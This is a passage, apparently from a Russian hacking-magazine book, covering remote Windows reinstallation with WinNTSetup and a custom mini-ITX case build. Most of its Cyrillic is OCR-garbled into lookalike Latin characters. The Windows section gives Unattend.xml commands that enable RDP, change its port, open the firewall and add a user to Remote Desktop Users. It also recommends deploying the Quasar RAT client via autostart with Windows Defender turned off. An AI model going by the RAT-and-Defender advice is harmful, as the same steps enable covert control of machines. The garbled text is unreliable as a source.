KaCTOMHBIH Unattend.xml AJIs YCTaHOBKH. Mbl OyAeM HCNONb30BaTh 3Ty (QyHKLHIO
JUIS COXPAaHEHHs yIANEeHHOIro JOCTyna. Add drivers IO3BOJSET HHTETPHPOBATh Apai-
BEpbI B yCTaHAaBIHBaeMyIo cucteMy. Ecnu y Te6s ecTh JUCK CO creLHalbHBIMH Apaii-
BepaMH AJs 000pyIOBaHHA KIMEHTA, HX MOXKHO YCTaHOBHUTb Cpa3y Xe, He JOXHAAAChH
nepe3arpy3KH.

7. Ota ¢yHKUHA MO3BOISET INEpEHa3HauyuTb OyKBY CHCTEMHOrO [JHCKa B HOBOH
Windows. Ecnu naxe Thl cTaBUILb CHCTEMY Ha AMCK D:, KaK s B paMKax JEMO, TO 3Ta
GyYHKLHMS TPHKAXET CMOHTHPOBATh pa3fel Kak JUCK C: (WM 000 apyroit) B HOBOH
CHCTEME.

Ilocnennue Tpu QyHKIHH YIIPABIAIOT PEXHMOM YCTAaHOBKH H TBHKAMH HOBOH CHCTEMBI.

¥ Tweaks - WinNTSetup

ree Explorer RO IR ISR SR

Remove Checkl ted items

context menu

d files

wis update
e Small Taskbar Icons eV Animation
style taskbar Buttons

ck Launch Bar

Search..

Puc. 6.8. loctynHbie TBUKK

CnepBa paccMOTPHM Mode: OH MO3BoJisieT BKIIOYHTH cxatHe Compact OS (maxe He-
CKOJIbKUMHU criocobamu!) unu octaButh ctapsit 1o6psii WIMBOOT. Ha coBpeMeHHbIX
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SSD onuus He cuabHO BocTpeOOBaHHAs, HO Ha MOZENAX [ocTaplle elle akTyaubHas. OHa
N03BOJIET HEMJIJIIO30PHO C3KOHOMUTb MECTO Ha HAaKOIHTEJIE, a ellle HECKOJIbKO YCKOPHTh
3arpysKy.

KHomnka Tweaks OTKPBbIBA€T LUIMPOKHE BO3MOXXHOCTH A MOOU(UKALIUK HOBOH CHUCTEMBI,
B TOM 4YHCJIE€ OTKJIIOUEHHE HeHY)XHbIX koMnoHeHToB Windows, Bpone Windows Defender
¥ ruOepHalH, MOLLHBIA TIOHHHI IPOBOJHHKA H peecTpa. Eciu Tebe 4ero-ro He XBaTUI0 —
MOJKHO JOIMHCATh CAMOCTOATENILHO (pHUC. 6.8).

VHD ITOMOXeET ycTaHOBUTh Windows Ha BuptyansHbld guck VHD unn VHDX, kotopsiit
3aTe€M MOJXXHO HCIOJIB30BaTh B CpeAax BUPTYadH3alMM WIM IS CO3JaHHMS I'OTOBOIO K
pa3BepTbiBaHHIO 0oOpa3za c yxe ycraHoBneHHoH OC. JluuHo MHe 3Ta QyHKUMS TakK U He
NpUroauiachk, HO CKa3aTh s 0 Hel JoskeH ObuI (pHc. 6.9).

Teneps, korga GyHKIMK NPOrpaMMbl OHATHBI, MOXKHO IIPUCTYNATh K COOCTBEHHO YCTaHOB-
ke. Moutupyii ISO (wm mpyrum crocobom nocraBai U3 Hero ycraHoBouHblii WIM/ESD),
3aroHsH ero B nporpamMmy, BeIOMpai pasziesbl, PeJaKLHI0 CHCTEMbl M TBUKH (MX 5 10Apo0-
HO paccMaTpHBaTh He Oyy — Ha3BaHHs BIIOJIHE TOYHO [IEpealoT Ha3HaYeHHE).

#® Create and Attach Virtual Hard Disk

Specify the virtual hard disk location on the maching,

Location:

| Partiticn Alignment

Allocation unit size;

s xed maximum
not compact automatic

Puc. 6.9. Hactpoiku VHD

CoxpaHeHue gocTtyna

Ipexne yeM Tbl HaXXMeILb KHONKY Setup, Mpoily BCOOMHHUTb O HEOOXOOHUMOCTH COXpa-
HUTh YJAJEHHBIH OOCTYyn K MailidHe. [Jenate 310 MBI OyneM ¢ mnomMousio (aiina
Unattend.xml. B HeM, KpoMe HacTpoek, KOTOpbI€ MOSBJIAIOTCS Ha JKpaHe I[pH MEePBOM
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3allycKe, MOXKHO 3aJaThb M KOMaH[bl, KOTOpble OyAyT BBIIIOJHEHBI MOCJIE YCTaHOBKH.
OTtuM MBI ¥ BocnonbdyeMcs: RDP-cepBep BK/IO4aeTcs B peecTpe, KOTOPbIH MOXHO pe-
JAaKTUPOBaTh C MOMOLIBIO KOMaHIHOHM cTpokH. [locne BbIMONHEHHs KOMaHA M3 (daina
nocieayeT nepe3arpyska, Tak YTo CEpBep TOUHO BKIIOYHTCH.

U ewe onuH MOMEHT, KOTOpPBIA CTOMT IIOMHHUTB: Ha PEAJbHOM CepBepe 0ObIYHO He cpa3y
«6enblii» anmpec, a «cepblit» agpec, nony4yaemblit mo DHCP ot BupTyansHOro (Miu He
ouenb) DHCP-cepBepa, or xoToporo HactpoeH npobpoc noproB Ha Ham cepsep. Eciu
3abiaroBpeMeHHo He Oblna BKIIOYEHA JOCTYNHOCTb BCEX MOPTOB M3 MHTEPHETa, a Ha-
ctpoeHHblit RDP-nopt otnnuaercs ot cranmaptHoro (3389), To mociie nepeycTaHOBKH H
BKIroueHHs: RDP Mbl He CMOXEM IMOIKIIOUYUTBCS, BEAb HYXKHBIH MOPT He mpoOpolIeH.
Tax uTo nepex nepeycTaHOBKOH NpPHAETCS [TIOCMOTPETh, Ha Kakoi nopt HazHayeH RDP, u
MEepEnucaTh €ro B Unattend.xml.

Y70 AENATL NONL3OBATENAM APYINX CPELACTB YAANEHHOIMO 4QOCTYINA

B obwem cnyyae — kyputb 6ambyk. ToT xe TeamViewer He no3BonsieT aBTOMAaTUYECKU
YCTaHOBUTbL KNWEHT 1 BOWTU B akkayHT B HeM. AnyDesk reHepupyeT HOBbIV UaeHTUdUKaTop
Ha HOBOW cucTeMe, cnegosaTtenbHo, OH Toxe BecnoneaeH.

B kayectBe anbTepHaTUBLI MOXHO UCMONb30BaTb cTapbi Ao6pbii Quasar RAT, 6naro oH
6ecnnaTHbIR U Ha HoBOW cucteMe (ecnu oTknounTb Windows Defender) HUkTo emy mewaTtb
He 6ygeT. Y Tebs, koHe4Ho, ecTb CBOW cepBep, Tak YTO NOCTaBUTb Ha Hero agMuHky Quasar
1 CNOBUTb KOHHEKT OT knueHTa ByaeTt He npobnema.

HyxHo cobpaTtb Yepe3 agMUHKY KNUEHTCKUA BUHaPHUK, KOTOPLIA NOMNOXUTL B aBTO3arpy3Kky
HOBOW cucteMbl. CaenaTb 3TO MOXHO ThicsYen U ogHUM cnocobom, Tak YTo Bbibupan yaob-
Hbi U genan. 3atem, korga Bce MaHunynsuuu B ctapovt OC GyayT 3aBeplueHbl, Tbl Nepesa-
rpy3vlb KOoMnbioTep, U ByaeT 3anyuleHa n HacTpoeHa HoBas cuctemMa. B koHue HacTponku
BbINONHUTCA Haw ckpunT. OH ycTaHOBUT knuMeHT Quasar B cuctemy, nocne yero ta 6yger
elle pa3 nepesarpyxeHa, a Tbl CNOBULWb KOHHEKT. [lanee yepe3 pexumM yaanewHoro pabo-
Yero crTona MOXHO NPodoMmKaTb HacTPOWKy ceBexeycTaHoBneHHon Windows unu MOXHO
ycTaHoBuUTb 6onee yao6Hbii AnyDesk unu TeamViewer U NpoaomkuTb Yepes HUX.

[Aa, noHnMato, 3TO BLIFNAAUT KaK KOCTbINb (KOTOPbIM, COGCTBEHHO, U IBNAETCS), HO OHO pa-
6oTaer.

Unattend.xml

Boo0ue, ¢ain Unattend.xml s co3maBaj ¢ MOMOLIBIO OHIaiHOBOro cepuca Windows
AFG (https://www.windowsafg.com/). Ho resepupyembiii uM ¢ain comepXUT MHOTO
Mycopa, TaK YTo ero s npaBuj BpyuHy!o (puc. 6.10).

N3 Bcex npoxoJoB (a OHM 3aJal0TCA B KOHTEHHEpax BHAA <settings pass="...">) Hac
HMHTEPECYIOT TOJBKO ABa MOCIEIHUX — specialize M oobeSystem. IMEHHO OHM 3a7aroT
NOBEJEHHE NPOrpaMMbl IEPBUYHON HACTPOHKH CHCTEMBI M XPaHAT OTBETHI HA BOMNPOCHI,
KOTOpbIE MOSABISAIOTCS NpH nepBoM 3anycke. Kopoue, ynansait crpoku ¢ 13-# mo 164-to,
OHH HaM He NnoHanob6stcs. KoMMeHTapuii B Hayane Qaina Toxe BbIKMIbIBAH — I10JI€3-
HOM Harpy3kH OH HE HECET, TOJBKO peKaMy Aesaer.

HanomHio 3agady: OTBETHTH Ha BCE BOMNPOCHI MIPH YCTAHOBKE aBTOMAaTHYECKH, CO3JaTh
nosb30BaTeNs U A00aBUTH €ro B Ipymiy aAMHHHUCTPATOpPOB U IOJIb30BaTelNled yaaneHHo-
ro pabouero cToJsa, BKIIOYUTH U HaCTpouTh RDP 1 yBecTH KOMI B niepe3arpysky.
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Windows i( Ahawsx File Sernera

Creaved using Windaws REG 2ound av:

SRritu i ey, watduwsald. son

o0 A SR

e

<?zml versyon="1.6" epcoding=totf-8"
XML Parsing mrror - lize i, poa 3:
Invalid xml declaration.

12 %(una:cend xmlns="orn:schemas-vicrosoft-onm:unattend”>

<s=2ttings pass="windowsPE£">
<settings pass="offlineServicing”>.
gsettangs pass=-offlineServicing”> -
<3IEeLTings pavs=-geoeralize">

&sectings paus=rgeneralize™>
<settings pass=rspecialize">
<setiings pas3a=tocbeSystem™>
-</unattend>

< IS ; »
Mackup Language file length: 13,749 lines: 319 La:1 Colil Sel:0]0 Windows (CRLF)  UTF-8 NS

Puc. 6.10. Opurunanbhblin Unattend.xml, reHepupyemblit ceperucom

OTBeThbl Ha BOIPOCH] Y HAC YK€ €CTb — cnacubo cepBUCy reHepauuu ¢ainos. Co3naHue
M0JIB30BaTeNs TOXKE €CTh, HO OHO MOYEMY-TO He MO3BONAET JO0OABUTh €ro B HECKOJBKO
rpynm pasoMm. RDP BkitouaeTcs U HacTpauBaeTcs U3 KOMaHIHOM CTPOKH, YTO TOXKE MOX-
Ho npomnucats B ¢aitn. Hy a mepesarpyska BIIOJIHUTCSA aBTOMAaTHYECKH IOC]E OKOHYa-
HUs 00paboTku Haulero gaiina.

JlaBait BHUMaTEJILHO PaCCMOTPHM MPOXOJ oobeSystem. IIepBbIM €JIOM Y HAaC MOET aBTO-
BXOJ MoJib30BaTens (MOAKOHTEHHEP component/AutoLogon). Jlanblie — OTKMOYEHHE
JMIIHKX BOIMPOCOB NpH ycTaHoBKe (OOBE). Ilocie 3TOro HayMHaeTCs caMoe BKYCHOE —
CO3/1aHHEe MOJb30BATENLCKUX aKKayHTOB, Ile MPAMBIM TEKCTOM YKa3bIBa€TCS JIOTHH H
[apojib HOBOTO aKKayHTa, 3aJaeTcs aKKayHT BlaJenblia YCTPOWCTBA, a elle KOMaHIBI,
KOTOpbI€ JODKHBI OBITH BBIITOJIHEHBI MPH YCTaHOBKe. MX-TO MBI M OyeM HCIOIB30BaTh.

ITo YMOJIYaHHKO YXE€ HazHAa4Y€HO TPH KOMaHIbI: HaCTpOﬁKa THIIA OTO6pa)KeHPIﬂ MMaHEIN
ynpaBJIEHHS, HaCTPOﬁKa pa3Me€pa 3Ha4YKOB U OTKIKOUYECHUE MIPOTYXaHHUS MMapOJisd 10JIb30Ba-
Tenda. Mbl MoxeM 1106amm> H CBOH KOMaHIBbI I10 o6pa3uy, HO, yTOOBI THI HE myTancs,
A IPpUBEAY KOI, KOTOpLIﬁ HY>XXHO BCTABHUTH IIOCJIE CYHIECTBYIOIHUX KOMAHM.
<SynchronousCommand wcm:action="add">

<Order>4</Order>

<CommandLine>reg add
"HKEY_ LOCAL MACHINE\System\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d
/£</CommandLine>

<RequiresUserInput>false</RequiresUserInput>

<Description>Set RDP port</Description>
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</SynchronousCommand>
<SynchronousCommand wcm:action="add">
<Order>5</Order>

<CommandLine>reg add
"HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f</CommandLine>

<RequiresUserInput>false</RequiresUserInput>
<Description>Enable RDP</Description>
</SynchronousCommand>
<SynchronousCommand wcm:action="add">
<Order>6</Order>

<CommandLine>netsh advfirewall firewall set rule group="remote desktop"
new enable=Yes</CommandLine>

<RequiresUserInput>false</RequiresUserInput>
<Description>Enable RDP on firewall</Description>
</SynchronousCommand>
<SynchronousCommand wcm:action="add">
<Order>7</Order>

<CommandLine>net localgroup "Remote Desktop Users" xakep ru
/add</CommandLine>

<RequiresUserInput>false</RequiresUserInput>
<Description>Allow login via RDP</Description>
</SynchronousCommand>
<SynchronousCommand wcm:action="add">
<Order>8</Order>
<CommandLine>shutdown -r -f -t 120</CommandLine>
<RequiresUserInput>false</RequiresUserInput>
<Description>Schedule a reboot</Description>
</SynchronousCommand>

B cTpoke 2 Mbl BUINUM MapaMeTp Order: OH 3aJaeT, KAKOH MO MOPAAKY BHINOIHHUTCS KO-
Mmanza. Homepa He momkHBI NOBTOpAThCA. IlapaMeTp CommandLine M 3a[aeT BBIMOJNHsAE-
My10 koMaHay. OcTanbHoe He 0c000 BajKHO.

B nepBo# xomaHzae Mbl 3amaeM noptT RDP nepen BkmoueHueM. 3HaueHHs NepenaroTcs
TOJIbKO B IlIeCTHaAUaTepUYHOH GopMe, Tak YTO He 3a0yab UCIPaBUTh 3TO 3HaYEHHE, ECIIH
notpebyetcs. [lo yMon4aHHuIo s 0cTaBHI 0x00000d3d — 3389 B mecatuunom Buae. Bro-
pas koMaHa BkimodaeT RDP, paspeiias noakiroueHue k 3alaHHOMY BBILIE MTOPTY .

Tperbeit koMaHIOM MBI IBHO pa3pelaeM noakiaoyeHus k RDP Ha daiipBouie, eciu THI 1o
KaKHM-TO [IPHYHHAM HE BBIPE3aJl €r0 U3 CHCTEMBI IIPH YCTAHOBKE.

3arem no6aBiseM Halllero HOBOTO MOJIb30BaTeNs (y MEHs xakep ru) B IPYIINY MOJIb30Ba-
TeJled ynaneHHoro pabouyero croja M MOCIeAHEH KOMaHIOH IUIaHHpyeM Iepe3arpysky
yepe3 aABe MUHYTHI (120 cekyHn), eCii OHA HE BBIMOJHHUTCS CaMOCTOATENBHO.

BakHBIH MOMEHT: Bce HACTPOHKH AyONHpYrHOTCHA, TO ecTh Aad 32- u 64-paspsanHoi
Windows HacTpoiiku MoryT ObITh pa3Hble! BHOCS u3MeHeHus, He 3a0yap mpoayOmaupo-
BaTh UX B paslelie C Apyrod pa3psIHOCThIO, 4TOOBI IOTOM HE KPacHETh OT CThIAA.
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YcTaHoBKa

Teneps Bce, B3Boau ranouky Unattend u ycranaBnusaii! [locne 3amycka nporpamma ere
pas3 3anpocHT MOATBEPXKICHHE YCTAaHOBKH. Bapyr Thl ciyyaiiHo BbIOpan npaBHibHBIE daii-
JBI H BOOOLIIE HHYErO YCTaHABIMBATh He Xxouelb? EcTh enie Bpems otkasathbes (puc. 6.11,
puc. 6.12)...

Puc. 6.12. loTOBO!
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Kak BHMIIIB, MPOLIECC BeCbMA GBICTPHIi, OCTan0Ch TONLKO HACTPOHTH 3arpPy3UHK.

Apyroun cnocos

Kak s no3xe BCMOMHMWIM, MOXHO He naputb cebe MO3r ¢ painamv OTBETOB M KOMaHAHOW
CTPOKOW, ecnu 4OCTyNHa BUpTyanu3auums. MoxHo npobpocuTs B BUPTYarnKy peantHbli AWCK,
yctaHoBuTb OC Ha apyron pasgen v HacTpouTb ee NO CBOEMY BKYCY NPSMO B BUpTYyarsike,

YTO 3Ha4YuUTenbHO yp,o6Hee.

B pasHoW Mepe ato oTHocutca u k  Linux-based-

AMCTDM6YTMBBM. Xanb Tonkbko, 4YTo Ha VPS B nogaensiowemM 6onblUMHCTBE cny4yaes BUp-
Tyanusauusi HeQOCTYNHa, Tak YTO ONUCAHHbIN Bbile «KONXO03HbIM» MeToa 3abbiBaTh paHo.

Bootice

Ecnu ITpH 3armpoce 00 0OHOBIEHHH 3arpy304Horo Kozaa Tbel OTBETHIJI, YTO XO4Y€lllb BUACTH
B 3arpy304YHOM M€HIO BC€ YCTAHOBJICHHBIE BEPCHH Windows, TO ceiyac 6)’le 0c0o0eHHO

BHHMATCJICH.

OrtkpeiBait Bootice, nepexonu Ha Bknanky BCD, Bei6upait BCD of current system, xmu
Easy mode 1 ynansi HeHyXHyI0 3arpy304Hy10 3anmich. OcTaBIIascs A0ODKHA BBINIAAETD
KaK-TO MOX0Ke Ha CKpHHILIOT (pHc. 6.13).

Taroke xenarensHo Ha cucreMax ¢ BIOS (MBR) npoBeputs, uto6s1 B MBR 6511 ponu-
CaH HYXHBIH 3arpy34uK. [[Jis noNHOH YBEPEHHOCTH €r0 MOXHO MPHHYIUTENBHO MepernH-
caTh 3arpy34MkoM BHHIBI. JlenaeTcs 310 no Haxatuio Process MBR B rnaBHOM okHe
nporpaMmsl (He 3a0y b BBIOpaTh HYXHBIH Auck!) (puc. 6.14).

BCD (Boot Configuration Data;

vl

[ Boot Deviee }

Type (@ Partition O RamDisk Qw0
Disk: [I'DO: Patriot Burst (223.6 G, C: E: Z:)

Partibon: | 1: (NTFS, 142.9 GB, C:\, Windows 10 Compax ™|
Fe:

501 file:

[ Options ]

OSGUID | {3472ece8-b21b-11ea-Bale-54042622ed24}

OStifle: | Windows 10 15041 Compact

o

Boot fle: |I_\;kﬁ4:whrdows‘5_ys_tem-32_\;l-vmg§. exe

Sys root: I—\Wndov;s

Language: | ruRU

SafeBoot: [Nomaimode

5 PAE: WA NX: Optin

™M tmeout(s)

Bootlanguage: | ruRU v (W] Detect HAL and kemel [®]Boot into WinPE

(W) Cspiay boot MMetro Boot Manager (Win8)  [B] Test Mode (testsigning)
[No ntegrity chedss [ smegobas || svearmentsyem || cose

Puc. 6.13. Ucnpaenenue 3arpy3ouHbix 3anvcen
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Master Boot Record x

Available MBR Types

(O WEE (wee63.mbr)
A mini version of grub_for_dos, it can be instalied on the MBR
track of the hard drive.(62 sectors)

O GRUB4DOS 0.4.5c/0.4.6a (gridr.mbr)

A universal open-source boot loader based on GNU GRUB. (16
seclors)

O GRUB 2.00 {boot.img + core.img)}
A powerful universal boot manager from GNU., {Modudes:
biosdisk, part_msdos, fat,exfat,ext2,search_fs_file. 63 sectors;

O Lvyanan 1JF%z
A boot manager by Lvyanan. It support dot matrix prompt
information. (2 sectors)

O Plop Boot Manager 5.0.15-Test
A boot manager with cool Ul Boot your computer from
floppy/adromfush without BIOS support. (62 sectors)

O UitraiSO USB-HDD+ { USB-ZIP+

Enhanced USB-HDD / USB-ZIP boot program with mproved boot
compatibility.(1 sector)

Boot form the 1st active primary partition.{1 sector)
Current MBR Type: Windows NT 6.x MBR

[Installgmﬁg ] [ Badap MBR Restore MBR Cose

Puc. 6.14. NicnpaBneHxune 3arpy3o4Hbix 3anucen

Ha 3ToM 3Tane MoxHO 6bU10 OBl CIOKOHHO Nepe3arpy3uThcss H 3aKOHYHUTH IIaBy, HO, €C-
JIM Thl UCIOJIB30BAJI APYTO€ CPEICTBO yIAJIEHHOTO AOCTYma, A TeOs BCE TOJNBKO Ha4yH-
Haercs... BpoueM, naBaif He 6yeM O rpyCTHOM.

XXunsub nocne Windows

Ecnu Bce mpouuio kak Haxo, TO MOCIE€ HEKOTOPOro O)XKHAAaHHMS B HEBEIEHHH ThI IMONY-
yuIIb paboYyI0 MaLIHHY C yJalleHHBIM HocTynoM u HoBoi OC.

xakep_ru

[icbpo noxanosats

Puc. 6.15. Jobpo noxanosats B Windows!



0—— 107 —0O

Bpems oxxunanus Bcerga pasHoe M COCTaBIsAET OT 3 10 15 MUHYT, B 3aBUCHIMOCTH OT 3a-
JYMYHMBOCTH JKeJle3a Lie1eBOH MalHHbl. TyT MOXHO CKa3aTh TOJBKO OJHO — TEpIIEHHE.
B xyamem cnydae KOMIBIOTEp 3arpy3uTcss oOpaTHO B CTapylo CUCTeMy M y Tebs Oyzer
IaHc monpo6oBaTh CHOBA (puc. 6.15).

IMocne ycTaHOBKH M 3arpy3Kd MOXHO HacTpauBath HOBYK OC, craBuUThH codt, OpaiiBe-
pElL... TyT He MHe TeOs y4UTB.

3aknryeHue

S1 Mor OBI 3aKOHYHUTH 11E€JI0H JIEKLIHEH O TOM, 4YTO 3TOT METOA HEAOIIYCTHMO HUCII0JIb30BAaTh
1A YTOHaA 4YXXUX CEPBEPOB U BPEAUTEIIBCTBA, HO s1 HAACKOCh, YTO Thl U TaK B KYpC€ BO3-
MOJXHBIX TTOCJIEACTBUH. Tak 4To PICHOJIB3yﬁ 3TH 3HAHHUA C yMOM!
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CBepkau, NK! lenaem KaCTOMHbIU
Kopnyc Ansi KOMNbLIOTEPA C MUHMU-
3kpaHoMm u LED-noacseTkou

Jaw

IMpounu Te BpemeHa, korga KoMmnbioTep ObuT rps3Ho-Oenoi opucHor kopobkoH. Hbl-
HEIIHHE MEKApHH CBEPKAIOT OTHAMH M paiayloT ria3 Biaagensua. OqHako c6opka HrpoBo-
ro TIK u3 rotoBbIx geTanei — 3TO He Halll MyTh, 1a U Mapajuienenunel — cky4Has ¢op-
Ma. B aroit rnaBe s pacckaxy, Kak 1 co3ai MOJHOCTBIO KaCTOMHBIH QHUIypHbIH Kopiyc
mini-ITX, cHabaui ero moaACBETKOH U BCTPOEHHBIM 3KPAHOM.

Mini-ITX (https://ru.wikipedia.org/wiki/Mini-ITX) — 310 cdopm-cdakTop AnNs MaTepUHCKX
nnat. MatepuHckue nnatbl Mini-ITX otnuyatorcs HebGonbLinmM paamepom: Bcero 170 Ha 170 mm.

NoaGop KOMMNMEeKTYLWKuxX

UtoOb! OnpeaenuThCs ¢ BHELTHUMH rabaputaMu Kopiyca, Hy»KHO 4eTKO MOHUMAaThb, KaKoe
JKeJle30 JOJDKHO TMOMELIAThes B Hero. 51 cobupancs co3narh KOMMAKTHBIH KOpmyc s
komruiektyromux [TX.

Moii kopyc AOKEH BMELIATh:
O wmarepuHckyro miaty mini-ITX;
O oOnok nutauus Flex ATX 1U;

O BHIOCOKAapTY — HHU3KONPOGHIBHYIO C BHYTPEHHHM BHIEOBBIXOAOM [JIs MOJKIIOYE-
HHS BCTPOEHHOTO 9KpaHa;

O AMCKOBYIO MOACUCTEMY — JBa HaKOmMUTENs 2,5";
O oxyaxaeHue — gBa BeHTHIATOpa 80 MM.

Eute ogHo# ¢uiIKOi MOEro kopiyca JOJDKEH CTaTh BCTPOCHHBIH AHUCIUIEH, KOTOPHIH Oy-
IET 0TOOpaXkaTh HY>KHYIO MHE HHPOPMALIHIO.

IMTockonbKy s pelIn BCTPOUTh 3KPaH B KOPITYC, IPH MPOEKTHPOBAHHH HY>KHO YYHTHIBATh
ero pasMmepsl. [Tocine H3MepeHHs OCHOBHBIX KOMIUIEKTYIOLIMX 5 COIMOCTaBHI MX C pa3Me-
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paMHu OMCIIIESA U Bbl6pa.Tl CEMHUIIOHMOBBII: OH HJI€AIbHO MOIXOJHI 10 BBICOTE H OCTaB-
JIAJ1 A0CTAaTOYHO MECTa 1)1 APYTHX KOMIIOHEHTOB.

U3rotoBneHue kopnyca

S nnaHMpoBan clenath Kopnyc B opMe yCe4eHHOro ¢ ABYX CTOPOH LIMJIMHIpA: C3aaH
JOJDKHBI pacriojlaraTbcsi HHTEpQEHCHbIE pa3beMbl, CliepeAd — BCTPOEHHBIH 3KpaH, 1O
60KaM — JBa KOPIYCHbIX BEHTHJIATODA.

Kopmyc Takoit ¢popMbl MOXKHO C€NaTh U3 HECKOJIbKHX MaTE€pPHAOB: OTJIMTh U3 TMOKCU-
HOH CMOJIBI MJIM COTHYTh M3 JIMCTOBOH ctand. Ho, Ha Mo#i B3risa, caMblii IPOCTOH cHO-
cob cobpaTh KOpIlyc — HaHH3aTh KYyCKH BBIPE3aHHOI'O HY>KHOH (OpMbI akpuiia OAHH Ha
OJIMH, a MIOCJIE CKJIEUTh UX. S BEIOpal MMEHHO 3TOT BapHaHT.

Cnenymowuii 3Tan — co3JaHUe YepTexa i Nope3kH akpuia (puc. 7.1).

i Zunr

D

LN S

A

i

g T

i

v
i

Puc. 7.1. YepTex nepson Bepcuu kopnyca

3areM A Havyall coOMpaTh KOpIycC, 4TOObI IPUMEPHTS €ro K xkene3y (puc. 7.2, puc. 7.3).

Puc. 7.2, 7.3. Bug ceepxy

[Tocne npUMepKH NepBOii BEPCHH KOpPITyca s pel nepepaboTaTh YEPTEXHU: YMEHBIIUTD
TOJILUMHY CTEHOK KOpITyca, 4TOOb! yBETHYHTh BHYTPEHHEE MPOCTPAHCTBO (pHUC. 7.4).



Pwuc. 7.4. KoHTypbl YacTewn kopnyca

OcHoBHas yacTh KOpIyca COCTOMT M3 JAeTajed, BhIpE3aHHBIX M3 MPO3pPayHOro aKpuia
TonumHoK 5 MM. O61as TonmKHa cpeaneit yactu kopnyca — 10 oM (puc. 7.5).

Pwuc. 7.5. Tak Beirnsgena HoBas Bepcus kopnyca

Tenepb HY)XHO BBIDOBHATH BHCLIHIOKO ITOBEPXHOCTh KOpITyCa. A IIOKPBUI €ro HIMAaTJEBKOH
M 3aYHCTHJI HaXIa4HOMI 6ymaroﬁ, YTOOBI NoJIy4yHns1aCb HACAJIBHO I1aikas IOBEPXHOCTh.

3auniare Hy>HO Oymaroii pa3HOH 3€pHHCTOCTH, C KaKIbIM pa3oM MOBBILIAS CTENEHb
(puc. 7.6, 7.7).
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Puc. 7.6. MNpouecc

Puc. 7.7. Peaynbtar

Yr1o6bl COEAUHHUTL OCHOBHYIO YacTh KOpIlyCa C IPYTMMH YacTSAMH, s MPOCBEPJIHI CTY-
NIEHYaThIM CBEPJIOM OTBEPCTHS 110 IEPUMETPY KOpIyCa, a 1ociie BKJIeH raiiku MS.

OcHoBHas 4acTb Kopnyca rotoBa! Tenepb npHcTynaeM K H3rOTOBJIEHHIO BEPXHEH, HHX-
HEH U 3aHEN KpBbILIEK.

3aiHIOI0 KPBILIKY, HA KOTOPOH pacnoararoTcss HHTep(enCcHbIE pa3beMbl, 1 H3TOTOBHII U3
cTany TonumHoi 1 MM. OcTanbHble KPBIIUKH — pagy CHHXKEHHS ce6eCTOMMOCTH KOpIy-
Ca — M3TOTOBJICHBI U3 haHEPbI U ATIOMUHHUA.

BepxHss M 3aiHAA KPBILIKY — 3TO €IMHHYHBIE TUIACTHHBI CTaJM U (aHepbl COOTBETCT-
BEHHO.

HikHAS KpbIILIKA — YEeThIPEXCIOHHBIH OyTepOpon: ABa cios (aHeps! TOJILHHON 4 MM H
S MM, cioi anroMHHHS — 3 MM, cod akpuia — 8 MM. Bce 3To cenaHo aJis MoACBETKH
RGB cBeTOaHOIHOH JIEHTOH.

Ha cpeanem nucre ¢aHepbl HH)KHEH KPBILKH €CTh KPEIUIEHHs Ui IBYX HaKOMHTeNeH
¢dopm-pakropa 2,5". Ha neranu U3 aqroMHHHS 3arOTOBJIEHbI OTBEPCTHSA [UIS YCTaHOBKH
MAaTepHHCKOMH MJIaThl U CTOEK MO KOPIYCHbIE BEHTHUJIATOPBI.
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B 3annei KPBIMIKE MpOAEIaHbl OTBEPCTHSA OJIs1 KHOIKHU BKIIOYEHHUS, pa3bEMOB MAaTCPHH-
CKOM I/1aThl U OJI0Ka MHTaHUA U LI KPEIJIEHHA K OCHOBHOM 4acTH KopIyca.

CBCpr — TOJIBKO 4Y€TBIPpE OTBEPCTHA IJI1 KPEIUVICHHA K OCHOBHOH 4acTH Kopmyca

(puc. 7.8—7.10).
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Puc. 7.8. NucT anioMnHuns (cnesa), NUCT akpuna (Cnpasa), HWKHASA KpbiLKa
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Puc. 7.10. NlucT ctanu, 3agHss Kpblwka
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51 nmoxpacun Bce METaINIHYECKHE YaCTH YEpPHOH MOPOLIKOBOH KPacKoH U cobpain kopyc.
IMTockonbky KOpIycC s IUIAHHPOBAJ HCIIOJIb30BaTh B KAYECTBE PEKJIAMHOrO CTEH/a, BTOPOH
MOHHMTOp MOAKJIIOYaTh HEOOXOAMMOCTH He Obuto. S pelnsn oOOHTHCh BCTPOEHHOH BH-
JeokapToi: moaxnoynn kabens VGA K MaTepHHCKOH IUIaTe M IPOJIOXKHI €ro BHYTpb

kopmyca. [ToTroM criasi nepexoaHUK — Y UIHHUTENb 11 kabens VGA.

Hmxe — pacnuHoBka passeMa VGA (puc. 7.11—7.13).

Homep
KOHTaKTa

1
2

N oo e oWw

12
13
14

‘15

HasHaueHue

CurHan KpacHoro yserta

CurHan seneHoro yseta

CwrHan cuHero ysera

He 3apeicTBoOBaH

3emnsa

3emnA KaHana KpacHoro curHana
3eMNA KaHana 3eneHoro CurHana
3eMnf KaHana cuHero CurHana
+5B

3emna

MnagaLwmi (HyneBon) 6UT uaeHTUPMKaTopa
MOHUTOpa

EAUHUYHBLIA GUT AEHTUPUKATOPA MOHKUTOPA
NMnyNnbCol CTPOYHON CUHXPOHU3ALMUM
WMnynbCol KaApOBOW CUHXPOHWU3ALMUK

Crapuwui 6UT naeHTMPUKaTopa MOHUTOPA

0603HayeHue

RED
GREEN
BLUE

GND

RED RTN
GREEN RTN
BLUERTN
vDC

GND

D0

D1
HSync
VSync
D2

Puc. 7.11. PacnuHoska VGA

RKENTLIR

VEDHLIR

3endHbIn

KOpMYHEBbIR

KpacHbIA

KENThIRA

-

Puc. 7.12. Cxema coegunHeHuns




Puc. 7.13. Pasvem

ITocne nonHo# cOOpKH KOpITyca OH BHIMIAAUT Tak (puc. 7.14).

HUINm

Puc. 7.14. Pa3o6paHHbin kKomnbloTep

OononHuTenbHas 3NeKTPOHUKa U copT

AnpecHas cBeroauonHas JieHTa (puc. 7.15) — 310 neHta u3 agpecHbix auonoB. OauH
Takoil cBeroauon coctout M3 RGB-ceeroamnona u xoHTposnepa. BHyTpu cBeroanozna
HAaXOAHTCS KOHTPOJUIEDP C TPEMS TPAH3UCTOPHBIMH BBIXOJAMH, YTO MO3BOJISET YIPABIATH
LBETOM JIH060r0 cBeToAnoAa B jieHTe (puc. 7.16).

